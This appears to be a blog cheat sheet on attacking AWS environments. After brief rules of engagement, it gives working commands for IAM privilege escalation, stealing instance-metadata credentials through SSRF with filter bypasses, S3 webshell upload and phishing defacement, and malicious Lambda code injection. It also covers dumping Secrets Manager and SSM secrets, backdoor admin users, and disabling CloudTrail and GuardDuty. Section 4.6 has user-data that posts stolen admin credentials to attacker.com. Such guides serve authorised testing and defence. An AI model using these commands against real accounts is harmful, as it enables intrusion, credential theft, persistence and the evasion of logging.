ᛉ Yggdrasil

Cloud

AWS Penetration Testing

07 Oct 2026 · 5,028 words · 23 min

Contents

Legend: [IAM] = Identity & Access Management | [EC2] = Elastic Compute Cloud | [S3] = Simple Storage Service | [LAMBDA] = Serverless functions | [SSRF] = Server-Side Request Forgery | [PRIVESC] = Privilege Escalation | [ENUM] = Enumeration | [PERSIST] = Persistence | [RECON] = Reconnaissance | [PACU] = Pacu Framework | [LATERAL] = Lateral movement | [EXFIL] = Exfiltration


1. Fundamentals & Rules of Engagement

What it means: AWS pentesting targets cloud misconfigurations rather than exploiting AWS itself — 95% of cloud breaches stem from customer misconfigurations, not AWS vulnerabilities. AWS allows pentesting on most services WITHOUT prior approval, but specific activities are prohibited.


1.1 AWS Permitted vs Prohibited Testing

PERMITTED (no pre-approval needed):

├── EC2 instances and EBS volumes
├── RDS databases
├── Lambda functions
├── API Gateway endpoints
├── CloudFront distributions
├── Elastic Beanstalk
├── S3 buckets (your own)
├── Lightsail instances
└── EKS / ECS clusters

PROHIBITED (never do these):

├── DDoS / DoS attacks
├── Port flooding
├── DNS zone walking
├── Fake DNS records
├── Protocol flooding
└── Testing OTHER customers' resources!

AWS Penetration Testing Policy:

→ https://aws.amazon.com/security/penetration-testing/
→ Must own or have written permission for all tested resources
→ Never test AWS infrastructure itself

1.2 AWS Attack Surface Overview

┌──────────────────────────────────────────────────────────────────────────────┐
│                           AWS ATTACK SURFACE MAP                             │
├──────────────────────────┬──────────────────────────┬────────────────────────┤
│     IDENTITY LAYER       │      COMPUTE LAYER       │     STORAGE LAYER      │
├──────────────────────────┼──────────────────────────┼────────────────────────┤
│ IAM Users                │ EC2 Instances            │ S3 Buckets             │
│ IAM Roles                │ Lambda                   │ EBS Volumes            │
│ IAM Policies             │ ECS / EKS                │ RDS Databases          │
│ Access Keys              │ Lightsail                │ DynamoDB               │
│ STS Tokens               │ Elastic Beanstalk        │ Glacier                │
├──────────────────────────┼──────────────────────────┼────────────────────────┤
│     NETWORK LAYER        │      SECRETS LAYER       │     LOGGING LAYER      │
├──────────────────────────┼──────────────────────────┼────────────────────────┤
│ Security Groups          │ Secrets Manager          │ CloudTrail             │
│ VPC Configurations       │ Parameter Store          │ CloudWatch             │
│ Route 53                 │ KMS Keys                 │ VPC Flow Logs          │
│ API Gateway              │ Environment Variables    │ S3 Access Logs         │
│ CloudFront               │ .env Files               │                        │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Golden Rule:                                                               │
│                                                                              │
│     IAM is the PRIMARY security boundary in AWS                              │
│     Compromise IAM → compromise EVERYTHING that identity can access          │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

1.3 AWS CLI Setup for Pentesting

# ─── Install & configure AWS CLI ───
pip3 install awscli
pip3 install boto3         # Python SDK

# ─── Configure credentials ───
aws configure
# AWS Access Key ID:     AKIAIOSFODNN7EXAMPLE
# AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Region:                us-east-1
# Output format:         json

# ─── Multiple profiles ───
aws configure --profile target_account
aws configure --profile victim_role

# Use specific profile:
aws s3 ls --profile target_account

# ─── Set env vars (for stolen credentials) ───
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=AQoXnyc4lcK4...   # for STS temp creds
export AWS_DEFAULT_REGION=us-east-1

# ─── Verify identity ───
aws sts get-caller-identity
# {
#   "UserId":  "AIDIOSFODNN7EXAMPLE",
#   "Account": "123456789012",
#   "Arn":     "arn:aws:iam::123456789012:user/john"
# }

2. Reconnaissance & Enumeration

2.1 External Reconnaissance

# ─── DNS enumeration ───
# AWS services leave fingerprints in DNS:
dig +short target.com
# Look for: .amazonaws.com, .cloudfront.net, .s3.amazonaws.com
# s3 bucket: target.s3.amazonaws.com
# Cloudfront: d1234abcd.cloudfront.net
# Elastic IP: ec2-X-X-X-X.compute-1.amazonaws.com

# ─── Certificate Transparency (S3/service discovery) ───
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
    jq -r '.[].name_value' | sort -u
# Reveals subdomains → may point to S3, EC2, etc.

# ─── WHOIS / ASN lookup ───
whois target.com
# Check if IP ranges belong to AWS ASNs:
# AS14618, AS16509 = Amazon

# ─── Shodan / Censys for exposed AWS services ───
# Shodan: org:"Amazon.com" port:22,3389,443,8080
# Find: exposed EC2 instances, RDS, ElasticSearch

# ─── S3 bucket bruteforce ───
# Common naming patterns:
# target-backup, target-dev, target-prod, target-logs
# target-data, target-assets, target-static

# Tools:
./s3recon target.com > buckets.txt
python3 cloud_enum.py -k target
# Tries: target, target-backup, target-dev, target-data...

2.2 AWS Account Enumeration (No Creds)

# ─── Check if AWS account ID is exposed ───
# Account IDs leak via: S3 ARNs, IAM ARNs, error messages

# ─── Enumerate S3 buckets without credentials ───
aws s3 ls s3://target-bucket --no-sign-request
# --no-sign-request = no credentials needed!
# If accessible = PUBLIC bucket!

# ─── Check bucket existence ───
curl -I https://target-bucket.s3.amazonaws.com/
# 200 or 403 = bucket exists
# 404 = bucket doesn't exist

# ─── Check bucket location ───
aws s3api get-bucket-location --bucket target-bucket --no-sign-request

# ─── Enumerate public objects ───
aws s3 ls s3://target-bucket --no-sign-request --recursive
# Lists ALL objects in bucket if public!

# ─── CloudFront enumeration ───
curl -I https://d1234abcd.cloudfront.net/
# Via Origin header manipulation:
curl -H "Host: target.com" https://cloudfront-ip/

2.3 Authenticated Enumeration

# ─── Enumerate ALL accessible services ───
# Tool: enumerate-iam (tries every API call with current creds)
git clone https://github.com/andresriancho/enumerate-iam.git
python3 enumerate-iam.py \
    --access-key AKIA... \
    --secret-key SECRET... \
    --session-token TOKEN...  # if STS credentials
# → Tries 7000+ API calls → shows what current identity CAN do!

# ─── Manual service enumeration ───

# Account info:
aws sts get-caller-identity

# IAM:
aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam list-policies --scope Local
aws iam get-account-summary
aws iam list-attached-user-policies --user-name <USER>
aws iam list-user-policies --user-name <USER>

# EC2:
aws ec2 describe-instances
aws ec2 describe-security-groups
aws ec2 describe-vpcs
aws ec2 describe-subnets
aws ec2 describe-images --owners self

# S3:
aws s3 ls
aws s3api list-buckets

# Lambda:
aws lambda list-functions
aws lambda get-function --function-name TARGET_FUNC

# Secrets:
aws secretsmanager list-secrets
aws ssm describe-parameters

# RDS:
aws rds describe-db-instances
aws rds describe-db-clusters

# EKS:
aws eks list-clusters
aws eks describe-cluster --name TARGET_CLUSTER

# CloudTrail (disable your tracks):
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name TARGET_TRAIL

2.4 Automated Enumeration Tools

# ─── ScoutSuite (full audit) ───
pip3 install scoutsuite
scout aws --profile target_profile
# Generates HTML report: scoutsuite-report/
# → Covers ALL AWS services for misconfigs!

# ─── Prowler (CIS benchmarks) ───
pip3 install prowler
prowler aws --profile target_profile
prowler aws -M html -o /tmp/prowler_report/
# Checks against CIS, NIST, PCI-DSS, HIPAA!

# ─── CloudFox (lateral movement paths) ───
cloudfox aws --profile target_profile all-checks
# → Maps: IAM principals → permissions → resources
# → Finds: SSRF endpoints, secret locations, trust relationships

# ─── cloudsplaining (IAM deep analysis) ───
pip3 install cloudsplaining
cloudsplaining download --profile target_profile
cloudsplaining analyze --input-file account-authorization-details.json
# → HTML report showing every IAM privesc path!

3. IAM Enumeration & Exploitation

What it means: IAM is the identity backbone of AWS. Misconfigured IAM policies, overly permissive roles, and exposed access keys are the most common critical vulnerabilities in AWS environments.


3.1 IAM Key Concepts

IAM Entities:

├── Users   → human identities with long-term credentials
├── Roles   → assumed identities (EC2, Lambda, cross-account)
├── Groups  → collections of users sharing policies
└── Policies → JSON documents defining permissions

Policy Types:

├── Identity-based     → attached to users/roles/groups
├── Resource-based     → attached to resources (S3, KMS, etc.)
├── Permission boundary → max permissions ceiling
├── SCPs               → Organization-wide restrictions
└── Session policies   → temporary session restrictions

Key ARN formats:

arn:aws:iam::ACCOUNT_ID:user/USERNAME
arn:aws:iam::ACCOUNT_ID:role/ROLENAME
arn:aws:iam::ACCOUNT_ID:policy/POLICYNAME
arn:aws:sts::ACCOUNT_ID:assumed-role/ROLE/SESSION

Credential Types:

├── Access Key ID (AKIA...) + Secret → long-term, user credentials
├── STS Tokens (ASIA...)             → temporary, role credentials
└── Instance Profile                 → EC2/Lambda automatic credentials

3.2 Enumerating IAM Permissions

# ─── Check current identity permissions ───
aws iam get-user                               # who am I?
aws sts get-caller-identity                    # ARN + account ID

# ─── List all policies for a user ───
aws iam list-attached-user-policies --user-name john
aws iam list-user-policies --user-name john    # inline policies
aws iam get-user-policy --user-name john --policy-name POLICY_NAME

# ─── Get policy details ───
aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/MyPolicy
aws iam get-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
    --version-id v1
# Shows exact JSON → what actions are allowed/denied!

# ─── List all roles ───
aws iam list-roles
# Look for: trust policies that allow assume-role from wide scope

# ─── Get role details ───
aws iam get-role --role-name TARGET_ROLE
aws iam list-attached-role-policies --role-name TARGET_ROLE
aws iam list-role-policies --role-name TARGET_ROLE

# ─── Simulate policy (check if you can do something) ───
aws iam simulate-principal-policy \
    --policy-source-arn arn:aws:iam::123456789012:user/john \
    --action-names s3:GetObject ec2:DescribeInstances iam:CreateUser
# → Shows allowed/denied for each action!

# ─── Download full account auth details ───
aws iam get-account-authorization-details > auth_details.json
# Contains: ALL users, roles, policies, groups, attachments!
# → Feed to PMapper or cloudsplaining for privesc analysis!

3.3 Access Key Enumeration & Abuse

# ─── Check for exposed access keys ───
# Common locations:
# GitHub repos: git-secrets, trufflehog
# .env files, config files, hard-coded in source
# AWS Console → IAM → Users → Security credentials

# ─── Validate stolen access key ───
aws sts get-caller-identity \
    --access-key-id AKIA... \
    --secret-access-key SECRET...
# Valid key = returns UserId, Account, ARN
# Invalid  = "InvalidClientTokenId" error

# ─── Check key age and rotation ───
aws iam list-access-keys --user-name john
# LastUsedDate, CreateDate → old keys = likely forgotten!

# ─── Find all access keys in account ───
aws iam list-users | jq -r '.Users[].UserName' | while read user; do
    aws iam list-access-keys --user-name "$user" 2>/dev/null
done

# ─── TruffleHog: scan repos for leaked keys ───
trufflehog github --org=TARGET_ORG
trufflehog git https://github.com/target/repo
trufflehog filesystem /path/to/code

# ─── gitleaks ───
gitleaks detect --source . -v
gitleaks detect --source . --report-format json

4. IAM Privilege Escalation

What it means: IAM privilege escalation exploits overly permissive policies to gain higher privileges — often from a low-priv user to AdministratorAccess. Rhino Security Labs documented 21+ escalation paths, most involving creating resources or modifying policies.


4.1 IAM Privesc Paths Overview

Method Required Permission
CreatePolicyVersion iam:CreatePolicyVersion
SetDefaultPolicyVersion iam:SetDefaultPolicyVersion
CreateAccessKey iam:CreateAccessKey
CreateLoginProfile iam:CreateLoginProfile
UpdateLoginProfile iam:UpdateLoginProfile
AttachUserPolicy iam:AttachUserPolicy
AttachGroupPolicy iam:AttachGroupPolicy
AttachRolePolicy iam:AttachRolePolicy
PutUserPolicy iam:PutUserPolicy
AddUserToGroup iam:AddUserToGroup
UpdateAssumeRolePolicy iam:UpdateAssumeRolePolicy
PassRole + CreateEC2 iam:PassRole + ec2:RunInstances
PassRole + CreateLambda iam:PassRole + lambda:CreateFunction
PassRole + CreateGlueDevEndpoint iam:PassRole + glue:CreateDevEndpoint
UpdateLambdaCode lambda:UpdateFunctionCode
UpdateGlueDevEndpoint glue:UpdateDevEndpoint
CreateCloudFormationStack cloudformation:CreateStack

4.2 Privesc — CreatePolicyVersion

# ─── If you have iam:CreatePolicyVersion ───
# Create a new version of an existing policy with AdministratorAccess!

aws iam create-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }]
    }' \
    --set-as-default
# → Policy now grants AdministratorAccess!
# → Current user (with this policy attached) is now admin!

4.3 Privesc — iam:CreateAccessKey

# ─── If you have iam:CreateAccessKey on another user ───
aws iam create-access-key --user-name admin_user
# Returns: AccessKeyId + SecretAccessKey of admin_user!
# Configure with those keys → you ARE admin_user!

aws configure --profile stolen_admin
# Set the new access key + secret
aws sts get-caller-identity --profile stolen_admin
# Confirms: you are now admin_user!

4.4 Privesc — iam:AttachUserPolicy

# ─── Attach AdministratorAccess to yourself ───
aws iam attach-user-policy \
    --user-name your_username \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# → You now have full admin!

# ─── Attach to a group you're in ───
aws iam attach-group-policy \
    --group-name your_group \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

4.5 Privesc — iam:PassRole + Lambda

# ─── PassRole + Lambda: run code as privileged role ───
# Requirements:
# iam:PassRole (to pass admin role to Lambda)
# lambda:CreateFunction + lambda:InvokeFunction

# Step 1: Create Lambda with admin role
aws lambda create-function \
    --function-name privesc \
    --runtime python3.9 \
    --role arn:aws:iam::123456789012:role/AdminRole \
    --handler index.handler \
    --zip-file fileb://privesc.zip
# privesc.py:
# import boto3
# def handler(event, context):
#     client = boto3.client('iam')
#     client.attach_user_policy(
#         UserName='your_user',
#         PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
#     return 'Done!'

# Step 2: Invoke Lambda
aws lambda invoke \
    --function-name privesc \
    --payload '{}' \
    output.txt

# → Lambda runs as AdminRole → attaches AdminAccess to your user!
# → You are now admin!

4.6 Privesc — iam:PassRole + EC2

# ─── PassRole + EC2: instance runs with admin role ───
# Requirements:
# iam:PassRole + ec2:RunInstances + ec2:AssociateIamInstanceProfile

# Step 1: Launch EC2 with admin instance profile
aws ec2 run-instances \
    --image-id ami-0c55b159cbfafe1f0 \
    --instance-type t2.micro \
    --iam-instance-profile Name=AdminInstanceProfile \
    --user-data '#!/bin/bash
    TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
    CREDS=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
        http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)
    curl -X POST http://attacker.com:8080 -d "$CREDS"'
# → EC2 runs user-data as root → sends admin creds to attacker!

4.7 Automated Privesc Discovery — PMapper

# ─── PMapper: graph-based IAM privesc finder ───
pip3 install principalmapper
pmapper --profile target_profile graph create
pmapper --profile target_profile analysis --output-type text

# Find privesc paths for specific user:
pmapper --profile target_profile query \
    "preset privesc --start arn:aws:iam::123456789012:user/john"

# Visualize:
pmapper --profile target_profile visualize --filetype png
# → Shows: who can reach AdministratorAccess and HOW!

5. EC2 & Metadata Service Abuse

What it means: EC2 Instance Metadata Service (IMDS) at 169.254.169.254 provides IAM credentials to the instance. If the web app on EC2 is vulnerable to SSRF, attackers can steal these credentials and access AWS services as the instance role — a frequent critical finding.


5.1 IMDSv1 vs IMDSv2

IMDSv1 (legacy, INSECURE):

Simple GET request → returns credentials!
curl http://169.254.169.254/latest/meta-data/
→ No auth required → SSRF = instant credential theft!

IMDSv2 (current, more secure):

Requires PUT request to get session token first,
then use token in header for subsequent requests.
→ Harder to exploit via blind SSRF!
→ But still exploitable with full SSRF control!

Check which version is enforced:

aws ec2 describe-instances --instance-ids i-xxx \
    --query 'Reservations[].Instances[].MetadataOptions'

# HttpTokens: optional  = IMDSv1 allowed (VULNERABLE!)
# HttpTokens: required  = IMDSv2 only

5.2 Stealing Credentials via IMDS

# ─── IMDSv1 (direct or via SSRF) ───

# Step 1: Get instance metadata
curl http://169.254.169.254/latest/meta-data/

# Step 2: Find IAM role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: MyEC2Role (the role name)

# Step 3: Get credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
# Returns JSON:
# {
#   "AccessKeyId":     "ASIAIOSFODNN7EXAMPLE",   ← STS key (ASIA prefix!)
#   "SecretAccessKey": "wJalrXUtnFEMI/...",
#   "Token":           "AQoXnyc4lcK4...",         ← session token!
#   "Expiration":      "2026-04-08T20:00:00Z"
# }

# ─── IMDSv2 (when required) ───
# Step 1: Get session token (requires PUT):
TOKEN=$(curl -s -X PUT \
    "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Step 2: Use token for all subsequent requests:
ROLE=$(curl -s \
    -H "X-aws-ec2-metadata-token: $TOKEN" \
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/")

CREDS=$(curl -s \
    -H "X-aws-ec2-metadata-token: $TOKEN" \
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE")

echo $CREDS | python3 -m json.tool

5.3 SSRF to IMDS Attack

# ─── Classic SSRF → IMDS credential theft ───
# If web app makes server-side HTTP requests based on user input:

# Test SSRF:
# Normal: GET /fetch?url=http://example.com
# Attack: GET /fetch?url=http://169.254.169.254/latest/meta-data/

# Step 1: Enumerate metadata:
GET /fetch?url=http://169.254.169.254/latest/meta-data/
# Returns: ami-id, instance-id, iam/, etc.

# Step 2: Get role name:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: EC2InstanceRole

# Step 3: Get credentials:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2InstanceRole
# Returns: AccessKeyId + SecretAccessKey + Token!

# ─── Use stolen credentials ───
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=AQo...
aws sts get-caller-identity    # confirm identity
aws s3 ls                      # enumerate buckets as EC2 role!
aws iam list-attached-role-policies --role-name EC2InstanceRole

# ─── SSRF via URL redirect bypass ───
# Some apps block 169.254.x.x directly:
# Try: http://169.254.169.254.nip.io/
# Or:  http://[::ffff:169.254.169.254]/  (IPv6 notation)
# Or:  http://0xA9FEA9FE/               (hex representation)
# Or:  http://2852039166/               (decimal)

5.4 Other Useful IMDS Endpoints

# ─── All useful metadata endpoints ───
BASE="http://169.254.169.254/latest"

# Instance details:
curl $BASE/meta-data/instance-id
curl $BASE/meta-data/instance-type
curl $BASE/meta-data/ami-id
curl $BASE/meta-data/hostname
curl $BASE/meta-data/public-ipv4
curl $BASE/meta-data/local-ipv4
curl $BASE/meta-data/placement/region
curl $BASE/meta-data/placement/availability-zone

# Network:
curl $BASE/meta-data/network/interfaces/macs/
curl $BASE/meta-data/network/interfaces/macs/MAC/vpc-id
curl $BASE/meta-data/network/interfaces/macs/MAC/subnet-id

# Security:
curl $BASE/meta-data/iam/security-credentials/  # role name
curl $BASE/meta-data/iam/info                   # instance profile ARN

# User data (GOLD MINE — may contain secrets!):
curl $BASE/user-data
# Often contains: startup scripts with hardcoded keys, passwords, DB creds!

6. S3 Bucket Attacks

What it means: S3 misconfigurations are the most commonly found critical issues in AWS assessments — public buckets, misconfigured bucket policies, and ACLs have exposed billions of records.


6.1 S3 Enumeration

# ─── List all buckets (authenticated) ───
aws s3 ls
aws s3api list-buckets

# ─── Unauthenticated bucket access ───
aws s3 ls s3://TARGET-BUCKET --no-sign-request

# ─── Check bucket ACL ───
aws s3api get-bucket-acl --bucket TARGET-BUCKET

# ─── Check bucket policy ───
aws s3api get-bucket-policy --bucket TARGET-BUCKET

# ─── Check public access block settings ───
aws s3api get-public-access-block --bucket TARGET-BUCKET
# If all four settings are FALSE = PUBLIC ACCESS POSSIBLE!

# ─── Download ALL objects ───
aws s3 sync s3://TARGET-BUCKET /tmp/loot/ --no-sign-request
aws s3 cp s3://TARGET-BUCKET/sensitive.txt . --no-sign-request

# ─── Recursive list all objects ───
aws s3 ls s3://TARGET-BUCKET --recursive --no-sign-request

6.2 S3 Bucket Discovery

# ─── cloud_enum: multi-cloud bucket discovery ───
python3 cloud_enum.py -k target-company -k targetcompany

# ─── S3Scanner ───
python3 s3scanner.py --bucket target-company-backup
python3 s3scanner.py --bucket-file buckets.txt

# ─── GoBuster S3 mode ───
gobuster s3 -w bucket_names.txt

# ─── Naming patterns to try ───
target-backup     target-prod       target-dev
target-staging    target-data       target-logs
target-assets     target-static     target-uploads
target-db-backup  target-files      target-internal
ACCOUNT_ID-backup company-financials company-hr-data

6.3 S3 Attack Scenarios

# ─── Scenario 1: Public read bucket ───
aws s3 ls s3://target-company-data --no-sign-request
# Lists files → download sensitive data!

# ─── Scenario 2: Public write bucket ───
echo "malicious" > /tmp/evil.txt
aws s3 cp /tmp/evil.txt s3://target-bucket/ --no-sign-request
# Can write → upload webshell, malware, or corrupt data!

# ─── Scenario 3: Bucket hosting static site ───
# If S3 hosts website + allows write:
# Overwrite index.html → defacement / phishing page!
aws s3 cp phishing.html s3://target-website/index.html --no-sign-request

# ─── Scenario 4: Enumerate via authenticated creds ───
# List all buckets:
aws s3 ls
# Look for: backup, logs, internal, archive buckets
# Download everything:
for bucket in $(aws s3 ls | awk '{print $3}'); do
    echo "[*] Enumerating: $bucket"
    aws s3 ls s3://$bucket --recursive 2>/dev/null
done

# ─── Scenario 5: Pre-signed URL abuse ───
# If you find a pre-signed URL in app traffic:
# https://bucket.s3.amazonaws.com/file?X-Amz-Signature=...
# Check: what other objects can same credentials access?

7. Lambda Exploitation

What it means: Lambda functions often run with overprivileged IAM roles, expose environment variables containing secrets, and can be abused for code execution, privilege escalation, and data exfiltration.


7.1 Lambda Enumeration

# ─── List all Lambda functions ───
aws lambda list-functions | jq '.Functions[] | {name:.FunctionName, role:.Role, runtime:.Runtime}'

# ─── Get function details ───
aws lambda get-function --function-name TARGET_FUNCTION

# ─── Get function URL (if enabled) ───
aws lambda get-function-url-config --function-name TARGET_FUNCTION
# If AuthType: NONE → public internet can invoke it!

# ─── Download function code ───
aws lambda get-function --function-name TARGET_FUNCTION \
    --query 'Code.Location' --output text
# Returns a pre-signed S3 URL → download the ZIP!
wget -O function.zip "$(aws lambda get-function \
    --function-name TARGET_FUNCTION \
    --query 'Code.Location' --output text)"
unzip function.zip -d function_code/
# → Read source code for hardcoded secrets, logic flaws!

# ─── Get environment variables ───
aws lambda get-function-configuration \
    --function-name TARGET_FUNCTION \
    --query 'Environment'
# → May contain: DB_PASSWORD, API_KEY, SECRET_KEY, etc.!

7.2 Lambda Code Injection (Update Function Code)

# ─── If you have lambda:UpdateFunctionCode ───
# Update existing Lambda with malicious code!

# Create malicious handler:
cat > index.py << 'EOF'
import boto3, os, json

def handler(event, context):
    # Steal env vars:
    env_vars = dict(os.environ)

    # Use Lambda's role to escalate:
    iam = boto3.client('iam')
    iam.attach_user_policy(
        UserName='attacker_user',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )

    return {'statusCode': 200, 'body': json.dumps(env_vars)}
EOF

zip malicious.zip index.py

# Update Lambda code:
aws lambda update-function-code \
    --function-name TARGET_FUNCTION \
    --zip-file fileb://malicious.zip

# Invoke it:
aws lambda invoke \
    --function-name TARGET_FUNCTION \
    --payload '{}' \
    output.json
cat output.json
# → Returns env vars + escalated your privileges!

8. Secrets & Credential Harvesting

8.1 AWS Secrets Manager

# ─── List all secrets ───
aws secretsmanager list-secrets
# Look for: database passwords, API keys, OAuth tokens

# ─── Get secret value ───
aws secretsmanager get-secret-value \
    --secret-id arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/db/password
# Returns: SecretString with actual password!

# ─── Enumerate all secrets and dump values ───
aws secretsmanager list-secrets | jq -r '.SecretList[].ARN' | \
while read arn; do
    echo "[*] $arn"
    aws secretsmanager get-secret-value --secret-id "$arn" \
        --query 'SecretString' --output text 2>/dev/null
    echo ""
done

8.2 Systems Manager Parameter Store

# ─── List parameters ───
aws ssm describe-parameters
aws ssm describe-parameters --filters "Key=Type,Values=SecureString"
# SecureString = encrypted parameters (likely contains secrets!)

# ─── Get parameter value ───
aws ssm get-parameter \
    --name "/prod/database/password" \
    --with-decryption
# --with-decryption = decrypts KMS-encrypted values!

# ─── Get all parameters ───
aws ssm get-parameters-by-path \
    --path "/" \
    --recursive \
    --with-decryption \
    --query 'Parameters[*].{Name:Name,Value:Value}'

8.3 Environment Variable Secrets

# ─── EC2 user-data (often contains secrets!) ───
curl http://169.254.169.254/latest/user-data
# OR
aws ec2 describe-instance-attribute \
    --instance-id i-INSTANCE_ID \
    --attribute userData \
    | jq -r '.UserData.Value' | base64 -d

# ─── Lambda environment variables ───
aws lambda get-function-configuration \
    --function-name TARGET \
    --query 'Environment.Variables'

# ─── ECS task definitions (may have secrets in env vars) ───
aws ecs list-task-definitions
aws ecs describe-task-definition \
    --task-definition TARGET_TASK \
    --query 'taskDefinition.containerDefinitions[*].environment'

9. Lateral Movement & Persistence

9.1 Cross-Account Role Assumption

# ─── Assume a role in another account ───
# If role trust policy allows your account/user:
aws sts assume-role \
    --role-arn arn:aws:iam::TARGET_ACCOUNT:role/AdminRole \
    --role-session-name my-session

# Use returned credentials:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
# → Now operating in TARGET_ACCOUNT!

# ─── List assumable roles ───
# Check trust policies:
aws iam list-roles | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) | {RoleName:.RoleName, Principal:.AssumeRolePolicyDocument.Statement[].Principal.AWS}'

9.2 Persistence Techniques

# ─── Create backdoor IAM user ───
aws iam create-user --user-name svc-monitoring
aws iam create-access-key --user-name svc-monitoring
aws iam attach-user-policy \
    --user-name svc-monitoring \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# → Backdoor admin user with access keys!

# ─── Add login profile (console access) ───
aws iam create-login-profile \
    --user-name svc-monitoring \
    --password "P@ss123!" \
    --no-password-reset-required

# ─── Modify role trust policy (allow your account to assume it) ───
aws iam update-assume-role-policy \
    --role-name TargetRole \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
            "Action": "sts:AssumeRole"
        }]
    }'
# → You can now assume this role from your attacker account forever!

# ─── EC2 persistence via user-data ───
# Modify instance user-data to execute reverse shell on restart:
aws ec2 modify-instance-attribute \
    --instance-id i-TARGET \
    --user-data file://revshell_userdata.sh

9.3 Covering Tracks

# ─── CloudTrail manipulation ───
# Check if logging is enabled:
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name TARGET_TRAIL

# Stop logging (if you have cloudtrail:StopLogging):
aws cloudtrail stop-logging --name TARGET_TRAIL
# → All API calls no longer logged!

# Delete trail:
aws cloudtrail delete-trail --name TARGET_TRAIL

# ─── Delete CloudWatch log groups ───
aws logs describe-log-groups
aws logs delete-log-group --log-group-name /aws/lambda/TARGET_FUNCTION

# ─── GuardDuty manipulation ───
# Disable GuardDuty (if you have guardduty:DisableOrganizationAdminAccount):
aws guardduty list-detectors
aws guardduty update-detector \
    --detector-id TARGET_DETECTOR_ID \
    --no-enable

10. Pacu — AWS Exploitation Framework

What it means: Pacu is the Metasploit equivalent for AWS — an open-source exploitation framework by Rhino Security Labs with 80+ modules covering every attack phase from enumeration to privilege escalation.


10.1 Pacu Setup & Basics

# ─── Install ───
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
pip3 install -r requirements.txt
python3 pacu.py

# ─── Set credentials ───
Pacu> import_keys default        # import from ~/.aws/credentials
Pacu> set_keys                   # manually set keys
Pacu> whoami                     # show current identity

# ─── Help & modules ───
Pacu> help
Pacu> ls                         # list all modules
Pacu> search iam                 # search modules by keyword
Pacu> help iam__privesc_scan     # module-specific help

# ─── View session data ───
Pacu> data                       # all gathered data
Pacu> data EC2                   # EC2-specific data

10.2 Key Pacu Modules

# ─── Enumeration modules ───
Pacu> run aws__enum_account
Pacu> run iam__enum_permissions
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run ec2__enum
Pacu> run s3__enum
Pacu> run lambda__enum
Pacu> run secrets__enum           # Secrets Manager + SSM

# ─── Privilege escalation ───
Pacu> run iam__privesc_scan
# Automatically identifies all privesc paths for current user!
# Then: run the appropriate escalation module:
Pacu> run iam__privesc_all_resources   # try all escalation methods!

# ─── Credential theft ───
Pacu> run ec2__download_userdata       # get all EC2 user-data!
Pacu> run iam__backdoor_users_keys     # create backdoor access keys
Pacu> run iam__backdoor_users_password # create console passwords

# ─── Persistence ───
Pacu> run iam__backdoor_assume_role    # add trust policy backdoor
Pacu> run lambda__backdoor_function    # inject into Lambda

# ─── Evasion ───
Pacu> run cloudtrail__disable          # disable CloudTrail
Pacu> run guardduty__disable_cloudtrail_logging
Pacu> run detection__disruption       # disrupt all detection services

# ─── Exfiltration ───
Pacu> run s3__download_bucket          # download all S3 data
Pacu> run rds__explore_snapshots       # access RDS snapshots

# ─── Full auto (use carefully!) ───
Pacu> run iam__privesc_scan
Pacu> run iam__privesc_all_resources

11. Tools Reference

11.1 Complete AWS Pentesting Toolkit

Tool Language Purpose
Pacu Python Full AWS exploitation framework
ScoutSuite Python Multi-cloud security audit
Prowler Python CIS/NIST/PCI compliance checks
PMapper Python IAM privilege escalation graph
CloudFox Go Lateral movement path finder
enumerate-iam Python Brute-force IAM permissions
cloudsplaining Python IAM policy analysis / report
TruffleHog Go Secret scanning in repos/files
gitleaks Go Git secret detection
cloud_enum Python Multi-cloud asset enumeration
S3Scanner Python S3 bucket misconfiguration scanner
Stratus Red Team Go AWS attack simulation (TTP library)
WeirdAAL Python AWS attack / recon library
SkyArk Python Privileged entity discovery
aws-nuke Go Wipe entire AWS account (careful!)

11.2 Stratus Red Team (Attack Simulation)

